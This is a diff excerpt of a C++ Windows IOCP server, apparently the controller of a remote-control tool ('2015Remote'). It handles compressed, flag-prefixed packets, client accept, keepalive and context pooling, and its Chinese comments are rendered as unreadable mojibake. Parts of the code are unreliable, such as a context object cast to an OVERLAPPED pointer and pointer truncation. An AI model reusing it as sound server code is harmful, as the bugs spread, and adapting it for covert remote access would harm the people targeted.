//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>ܳ<EFBFBD>
|
||||
|
||||
//50
|
||||
if (ulPackTotalLength && (ContextObject->InCompressedBuffer.GetBufferLength()) >= ulPackTotalLength)
|
||||
{
|
||||
ULONG ulOriginalLength = 0;
|
||||
ContextObject->InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);
|
||||
|
||||
ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
|
||||
|
||||
ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
|
||||
|
||||
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH; //461 - 13 448
|
||||
PBYTE CompressedBuffer = new BYTE[ulCompressedLength]; //û<>н<EFBFBD>ѹ
|
||||
|
||||
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //<2F><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD> 436
|
||||
|
||||
if (CompressedBuffer == NULL || DeCompressedBuffer == NULL)
|
||||
{
|
||||
throw "Bad Allocate";
|
||||
}
|
||||
ContextObject->InCompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength); //<2F><><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>ǰ<EFBFBD><C7B0>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD>û<EFBFBD>н<EFBFBD>ѹ<EFBFBD><D1B9>ȡ<EFBFBD><C8A1>pData 448
|
||||
|
||||
int iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength); //<2F><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>
|
||||
|
||||
if (iRet == Z_OK)
|
||||
{
|
||||
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||
ContextObject->InCompressedBuffer.ClearBuffer();
|
||||
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
|
||||
|
||||
m_NotifyProc(ContextObject); //֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD>
|
||||
}
|
||||
else
|
||||
{
|
||||
throw "Bad Buffer";
|
||||
}
|
||||
|
||||
delete [] CompressedBuffer;
|
||||
delete [] DeCompressedBuffer;
|
||||
}
|
||||
else
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
PostRecv(ContextObject); //Ͷ<><CDB6><EFBFBD>µĽ<C2B5><C4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
}catch(...)
|
||||
{
|
||||
ContextObject->InCompressedBuffer.ClearBuffer();
|
||||
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||
|
||||
PostRecv(ContextObject);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength)
|
||||
{
|
||||
if (ContextObject == NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
if (ulOriginalLength > 0)
|
||||
{
|
||||
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
|
||||
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength];
|
||||
int iRet = compress(CompressedBuffer, &ulCompressedLength, (LPBYTE)szBuffer, ulOriginalLength);
|
||||
|
||||
if (iRet != Z_OK)
|
||||
{
|
||||
delete [] CompressedBuffer;
|
||||
return;
|
||||
}
|
||||
|
||||
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
|
||||
|
||||
ContextObject->OutCompressedBuffer.WriteBuffer((LPBYTE)m_szPacketFlag,FLAG_LENGTH);
|
||||
|
||||
ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE)&ulPackTotalLength, sizeof(ULONG));
|
||||
|
||||
ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
|
||||
|
||||
ContextObject->OutCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength);
|
||||
|
||||
delete [] CompressedBuffer;
|
||||
}
|
||||
|
||||
OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite);
|
||||
|
||||
BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD)ContextObject, &OverlappedPlus->m_ol);
|
||||
if ( (!bOk && GetLastError() != ERROR_IO_PENDING)) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
|
||||
{
|
||||
RemoveStaleContext(ContextObject);
|
||||
SAFE_DELETE(OverlappedPlus);
|
||||
return;
|
||||
}
|
||||
}catch(...){}
|
||||
}
|
||||
|
||||
BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompletedLength)
|
||||
{
|
||||
try
|
||||
{
|
||||
DWORD ulFlags = MSG_PARTIAL;
|
||||
|
||||
ContextObject->OutCompressedBuffer.RemoveComletedBuffer(ulCompletedLength); //<2F><><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD>ݽṹ<DDBD><E1B9B9>ȥ<EFBFBD><C8A5>
|
||||
if (ContextObject->OutCompressedBuffer.GetBufferLength() == 0)
|
||||
{
|
||||
ContextObject->OutCompressedBuffer.ClearBuffer();
|
||||
return true; //<2F>ߵ<EFBFBD><DFB5><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>
|
||||
}
|
||||
else
|
||||
{
|
||||
OVERLAPPEDPLUS * OverlappedPlus = new OVERLAPPEDPLUS(IOWrite); //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>Ǽ<EFBFBD><C7BC><EFBFBD>Ͷ<EFBFBD><CDB6> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
ContextObject->wsaOutBuffer.buf = (char*)ContextObject->OutCompressedBuffer.GetBuffer();
|
||||
ContextObject->wsaOutBuffer.len = ContextObject->OutCompressedBuffer.GetBufferLength(); //<2F><><EFBFBD><EFBFBD>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3><EFBFBD>
|
||||
|
||||
int iOk = WSASend(ContextObject->sClientSocket, &ContextObject->wsaOutBuffer,1,
|
||||
&ContextObject->wsaOutBuffer.len, ulFlags,&OverlappedPlus->m_ol, NULL);
|
||||
if (iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING )
|
||||
{
|
||||
int a = GetLastError();
|
||||
RemoveStaleContext(ContextObject);
|
||||
SAFE_DELETE(OverlappedPlus);
|
||||
}
|
||||
}
|
||||
}catch(...){}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
DWORD IOCPServer::ListenThreadProc(LPVOID lParam) //<2F><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
{
|
||||
IOCPServer* This = (IOCPServer*)(lParam);
|
||||
WSANETWORKEVENTS NetWorkEvents;
|
||||
|
||||
while(1)
|
||||
{
|
||||
if (WaitForSingleObject(This->m_hKillEvent, 100) == WAIT_OBJECT_0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
DWORD dwRet;
|
||||
dwRet = WSAWaitForMultipleEvents(1,
|
||||
&This->m_hListenEvent,
|
||||
FALSE,
|
||||
100,
|
||||
FALSE);
|
||||
|
||||
if (dwRet == WSA_WAIT_TIMEOUT)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
int iRet = WSAEnumNetworkEvents(This->m_sListenSocket,
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>Ǿͽ<C7BE><CDBD><EFBFBD><EFBFBD>¼<EFBFBD>ת<EFBFBD><D7AA><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD> <20><><EFBFBD><EFBFBD> <20>ж<EFBFBD>
|
||||
This->m_hListenEvent,
|
||||
&NetWorkEvents);
|
||||
|
||||
if (iRet == SOCKET_ERROR)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
if (NetWorkEvents.lNetworkEvents & FD_ACCEPT)
|
||||
{
|
||||
if (NetWorkEvents.iErrorCode[FD_ACCEPT_BIT] == 0)
|
||||
{
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǿͽ<C7BE><CDBD><EFBFBD>OnAccept()<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>
|
||||
This->OnAccept();
|
||||
}
|
||||
else
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void IOCPServer::OnAccept()
|
||||
{
|
||||
SOCKADDR_IN ClientAddr = {0};
|
||||
SOCKET sClientSocket = INVALID_SOCKET;
|
||||
|
||||
int iRet = 0;
|
||||
int iLen = 0;;
|
||||
|
||||
iLen = sizeof(SOCKADDR_IN);
|
||||
sClientSocket = accept(m_sListenSocket,
|
||||
(sockaddr*)&ClientAddr,
|
||||
&iLen); //ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD>ǵļ<C7B5><C4BC><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>֮<EFBFBD>ź<EFBFBD>ͨ<EFBFBD>ŵ<EFBFBD><C5B5><EFBFBD><D7BD><EFBFBD>
|
||||
if (sClientSocket == SOCKET_ERROR)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊÿһ<C3BF><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ź<EFBFBD>ά<EFBFBD><CEAC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>֮<EFBFBD><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹ<DDBD><E1B9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>±<EFBFBD><C2B1><EFBFBD><EFBFBD><EFBFBD>
|
||||
PCONTEXT_OBJECT ContextObject = AllocateContext(); // Context
|
||||
|
||||
if (ContextObject == NULL)
|
||||
{
|
||||
closesocket(sClientSocket);
|
||||
sClientSocket = INVALID_SOCKET;
|
||||
return;
|
||||
}
|
||||
|
||||
ContextObject->sClientSocket = sClientSocket;
|
||||
|
||||
ContextObject->wsaInBuf.buf = (char*)ContextObject->szBuffer;
|
||||
ContextObject->wsaInBuf.len = sizeof(ContextObject->szBuffer);
|
||||
|
||||
HANDLE Handle = CreateIoCompletionPort((HANDLE)sClientSocket, m_hCompletionPort, (DWORD)ContextObject, 0);
|
||||
|
||||
if (Handle!=m_hCompletionPort)
|
||||
{
|
||||
delete ContextObject;
|
||||
ContextObject = NULL;
|
||||
|
||||
if (sClientSocket!=INVALID_SOCKET)
|
||||
{
|
||||
closesocket(sClientSocket);
|
||||
sClientSocket = INVALID_SOCKET;
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD>ֵ<EFBFBD>ѡ<EFBFBD> Set KeepAlive <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SO_KEEPALIVE
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD><D3BC><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>2Сʱ<D0A1><CAB1><EFBFBD>ڴ<EFBFBD><DAB4>ӿڵ<D3BF><DAB5><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD><EFBFBD><EFBFBD><EFBFBD>TCP<43><50><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>Է<EFBFBD> <20><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD>
|
||||
m_ulKeepLiveTime = 3;
|
||||
const BOOL bKeepAlive = TRUE;
|
||||
setsockopt(ContextObject->sClientSocket,SOL_SOCKET,SO_KEEPALIVE,(char*)&bKeepAlive,sizeof(bKeepAlive));
|
||||
|
||||
//<2F><><EFBFBD>ó<EFBFBD>ʱ<EFBFBD><CAB1>ϸ<EFBFBD><CFB8>Ϣ
|
||||
tcp_keepalive KeepAlive;
|
||||
KeepAlive.onoff = 1; // <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>
|
||||
KeepAlive.keepalivetime = m_ulKeepLiveTime; //<2F><><EFBFBD><EFBFBD>3<EFBFBD><33><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3>ͷ<EFBFBD><CDB7><EFBFBD>̽<EFBFBD><CCBD><EFBFBD><EFBFBD>
|
||||
KeepAlive.keepaliveinterval = 1000 * 10; //<2F><><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>Ϊ10<31><30> Resend if No-Reply
|
||||
WSAIoctl(ContextObject->sClientSocket, SIO_KEEPALIVE_VALS,&KeepAlive,sizeof(KeepAlive),
|
||||
NULL,0,(unsigned long *)&bKeepAlive,0,NULL);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DFBB>ϵ<EFBFBD><CFB5>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>SO_KEEPALIVEѡ<45>
|
||||
//<2F><><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD>ر<EFBFBD>SOCKET<45><54><EFBFBD><EFBFBD>Ϊ<EFBFBD>ϵĵ<CFB5><C4B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Сʱʱ<CAB1><CAB1>̫<EFBFBD><CCAB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǿ<EFBFBD><C7BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
||||
|
||||
CLock cs(m_cs);
|
||||
m_ContextConnectionList.AddTail(ContextObject); //<2F><><EFBFBD>뵽<EFBFBD><EBB5BD><EFBFBD>ǵ<EFBFBD><C7B5>ڴ<EFBFBD><DAB4>б<EFBFBD><D0B1><EFBFBD>
|
||||
|
||||
OVERLAPPEDPLUS *OverlappedPlus = new OVERLAPPEDPLUS(IOInitialize); //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD>IO<49><4F><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD)ContextObject, &OverlappedPlus->m_ol); // <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
//<2F><>Ϊ<EFBFBD><CEAA><EFBFBD>ǽ<EFBFBD><C7BD>ܵ<EFBFBD><DCB5><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ߵ<EFBFBD><DFB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD>Ǿͽ<C7BE><CDBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><CDB8><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ɶ˿<C9B6> <20><><EFBFBD><EFBFBD><EFBFBD>ǵĹ<C7B5><C4B9><EFBFBD><EFBFBD>̴߳<DFB3><CCB4><EFBFBD><EFBFBD><EFBFBD>
|
||||
if ( (!bOk && GetLastError() != ERROR_IO_PENDING)) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
|
||||
{
|
||||
RemoveStaleContext(ContextObject);
|
||||
SAFE_DELETE(OverlappedPlus);
|
||||
return;
|
||||
}
|
||||
|
||||
PostRecv(ContextObject);
|
||||
}
|
||||
|
||||
VOID IOCPServer::PostRecv(CONTEXT_OBJECT* ContextObject)
|
||||
{
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ǵĸ<C7B5><C4B8><EFBFBD><EFBFBD>ߵ<EFBFBD><DFB5>û<EFBFBD><C3BB><EFBFBD>Ͷ<EFBFBD><CDB6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ĵ<EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD>;<EFBFBD><CDBE>DZ<EFBFBD><C7B1>ض˵ĵ<CBB5>½<EFBFBD><C2BD><EFBFBD><EFBFBD><F3B5BDB4><EFBFBD><EFBFBD>ǵĹ<C7B5><C4B9><EFBFBD><EFBFBD>߳̾<DFB3>
|
||||
// <20><><EFBFBD><EFBFBD>Ӧ,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ProcessIOMessage<67><65><EFBFBD><EFBFBD>
|
||||
OVERLAPPEDPLUS * OverlappedPlus = new OVERLAPPEDPLUS(IORead);
|
||||
|
||||
DWORD dwReturn;
|
||||
ULONG ulFlags = MSG_PARTIAL;
|
||||
int iOk = WSARecv(ContextObject->sClientSocket, &ContextObject->wsaInBuf,
|
||||
1,&dwReturn, &ulFlags,&OverlappedPlus->m_ol, NULL);
|
||||
|
||||
if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING)
|
||||
{
|
||||
int a = GetLastError();
|
||||
RemoveStaleContext(ContextObject);
|
||||
SAFE_DELETE(OverlappedPlus);
|
||||
}
|
||||
}
|
||||
|
||||
PCONTEXT_OBJECT IOCPServer::AllocateContext()
|
||||
{
|
||||
PCONTEXT_OBJECT ContextObject = NULL;
|
||||
|
||||
CLock cs(m_cs);
|
||||
|
||||
if (m_ContextFreePoolList.IsEmpty()==FALSE)
|
||||
{
|
||||
ContextObject = m_ContextFreePoolList.RemoveHead();
|
||||
}
|
||||
else
|
||||
{
|
||||
ContextObject = new CONTEXT_OBJECT;
|
||||
}
|
||||
|
||||
if (ContextObject != NULL)
|
||||
{
|
||||
ContextObject->InitMember();
|
||||
}
|
||||
return ContextObject;
|
||||
}
|
||||
|
||||
VOID IOCPServer::RemoveStaleContext(CONTEXT_OBJECT* ContextObject)
|
||||
{
|
||||
CLock cs(m_cs);
|
||||
if (m_ContextConnectionList.Find(ContextObject)) //<2F><><EFBFBD>ڴ<EFBFBD><DAB4>в<EFBFBD><D0B2>Ҹ<EFBFBD><D2B8>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹ
|
||||
{
|
||||
m_OfflineProc(ContextObject);
|
||||
|
||||
CancelIo((HANDLE)ContextObject->sClientSocket); //ȡ<><C8A1><EFBFBD>ڵ<EFBFBD>ǰ<EFBFBD><EFBFBD><D7BD>ֵ<EFBFBD><D6B5>첽IO -->PostRecv
|
||||
closesocket(ContextObject->sClientSocket); //<2F>ر<EFBFBD><D8B1><EFBFBD><D7BD><EFBFBD>
|
||||
ContextObject->sClientSocket = INVALID_SOCKET;
|
||||
|
||||
while (!HasOverlappedIoCompleted((LPOVERLAPPED)ContextObject)) //<2F>жϻ<D0B6><CFBB><EFBFBD>û<EFBFBD><C3BB><EFBFBD>첽IO<49><4F><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>ǰ<EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
Sleep(0);
|
||||
}
|
||||
|
||||
MoveContextToFreePoolList(ContextObject); //<2F><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4>ṹ<EFBFBD><E1B9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>
|
||||
}
|
||||
}
|
||||
|
||||
VOID IOCPServer::MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject)
|
||||
{
|
||||
CLock cs(m_cs);
|
||||
|
||||
POSITION Pos = m_ContextConnectionList.Find(ContextObject);
|
||||
if (Pos)
|
||||
{
|
||||
ContextObject->InCompressedBuffer.ClearBuffer();
|
||||
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||
ContextObject->OutCompressedBuffer.ClearBuffer();
|
||||
|
||||
memset(ContextObject->szBuffer,0,8192);
|
||||
m_ContextFreePoolList.AddTail(ContextObject); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>
|
||||
m_ContextConnectionList.RemoveAt(Pos); //<2F><><EFBFBD>ڴ<EFBFBD><DAB4>ṹ<EFBFBD><E1B9B9><EFBFBD>Ƴ<EFBFBD>
|
||||
}
|
||||
}
|
||||
151
server/2015Remote/IOCPServer.h
Normal file
@@ -0,0 +1,151 @@
|
||||
#pragma once
|
||||
|
||||
#include <WinSock2.h>
|
||||
#pragma comment(lib,"ws2_32.lib")
|
||||
#include "CpuUseage.h"
|
||||
#include "Buffer.h"
|
||||
|
||||
#include <Mstcpip.h>
|
||||
#define PACKET_LENGTH 0x2000
|
||||
|
||||
#define FLAG_LENGTH 5
|
||||
#define HDR_LENGTH 13
|
||||
|
||||
#define NC_CLIENT_CONNECT 0x0001
|
||||
#define NC_RECEIVE 0x0004
|
||||
#define NC_RECEIVE_COMPLETE 0x0005 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
enum IOType
|
||||
{
|
||||
IOInitialize,
|
||||
IORead,
|
||||
IOWrite,
|
||||
IOIdle
|
||||
};
|
||||
|
||||
typedef struct _CONTEXT_OBJECT
|
||||
{
|
||||
SOCKET sClientSocket;
|
||||
WSABUF wsaInBuf;
|
||||
WSABUF wsaOutBuffer;
|
||||
char szBuffer[PACKET_LENGTH];
|
||||
CBuffer InCompressedBuffer; // <20><><EFBFBD>յ<EFBFBD><D5B5><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CBuffer InDeCompressedBuffer; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CBuffer OutCompressedBuffer;
|
||||
int v1;
|
||||
HANDLE hDlg;
|
||||
|
||||
VOID InitMember()
|
||||
{
|
||||
memset(szBuffer,0,sizeof(char)*PACKET_LENGTH);
|
||||
v1 = 0;
|
||||
hDlg = NULL;
|
||||
sClientSocket = INVALID_SOCKET;
|
||||
memset(&wsaInBuf,0,sizeof(WSABUF));
|
||||
memset(&wsaOutBuffer,0,sizeof(WSABUF));
|
||||
}
|
||||
}CONTEXT_OBJECT,*PCONTEXT_OBJECT;
|
||||
|
||||
typedef CList<PCONTEXT_OBJECT> ContextObjectList;
|
||||
|
||||
class IOCPServer
|
||||
{
|
||||
public:
|
||||
SOCKET m_sListenSocket;
|
||||
HANDLE m_hCompletionPort;
|
||||
UINT m_ulMaxConnections; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
HANDLE m_hListenEvent;
|
||||
HANDLE m_hListenThread;
|
||||
BOOL m_bTimeToKill;
|
||||
HANDLE m_hKillEvent;
|
||||
|
||||
ULONG m_ulThreadPoolMin;
|
||||
ULONG m_ulThreadPoolMax;
|
||||
ULONG m_ulCPULowThreadsHold;
|
||||
ULONG m_ulCPUHighThreadsHold;
|
||||
ULONG m_ulCurrentThread;
|
||||
ULONG m_ulBusyThread;
|
||||
|
||||
CCpuUsage m_cpu;
|
||||
|
||||
ULONG m_ulKeepLiveTime;
|
||||
|
||||
char m_szPacketFlag[FLAG_LENGTH];
|
||||
|
||||
typedef void (CALLBACK *pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
|
||||
typedef void (CALLBACK *pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
|
||||
BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
|
||||
|
||||
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
|
||||
BOOL IOCPServer::InitializeIOCP(VOID);
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
ULONG m_ulWorkThreadCount;
|
||||
VOID IOCPServer::OnAccept();
|
||||
static CRITICAL_SECTION m_cs;
|
||||
|
||||
/************************************************************************/
|
||||
//<2F><><EFBFBD>±<EFBFBD><C2B1><EFBFBD><EFBFBD>Ķ<EFBFBD><C4B6><EFBFBD>
|
||||
ContextObjectList m_ContextConnectionList;
|
||||
ContextObjectList m_ContextFreePoolList;
|
||||
PCONTEXT_OBJECT IOCPServer::AllocateContext();
|
||||
VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject);
|
||||
VOID IOCPServer::MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject);
|
||||
|
||||
VOID IOCPServer::PostRecv(CONTEXT_OBJECT* ContextObject);
|
||||
|
||||
/************************************************************************/
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||
BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||
BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||
VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer , ULONG ulOriginalLength);
|
||||
BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength);
|
||||
IOCPServer(void);
|
||||
~IOCPServer(void);
|
||||
|
||||
pfnNotifyProc m_NotifyProc;
|
||||
pfnOfflineProc m_OfflineProc;
|
||||
};
|
||||
|
||||
class CLock
|
||||
{
|
||||
public:
|
||||
CLock(CRITICAL_SECTION& cs)
|
||||
{
|
||||
m_cs = &cs;
|
||||
Lock();
|
||||
}
|
||||
~CLock()
|
||||
{
|
||||
Unlock();
|
||||
|
||||
}
|
||||
|
||||
void Unlock()
|
||||
{
|
||||
LeaveCriticalSection(m_cs);
|
||||
}
|
||||
|
||||
void Lock()
|
||||
{
|
||||
EnterCriticalSection(m_cs);
|
||||
}
|
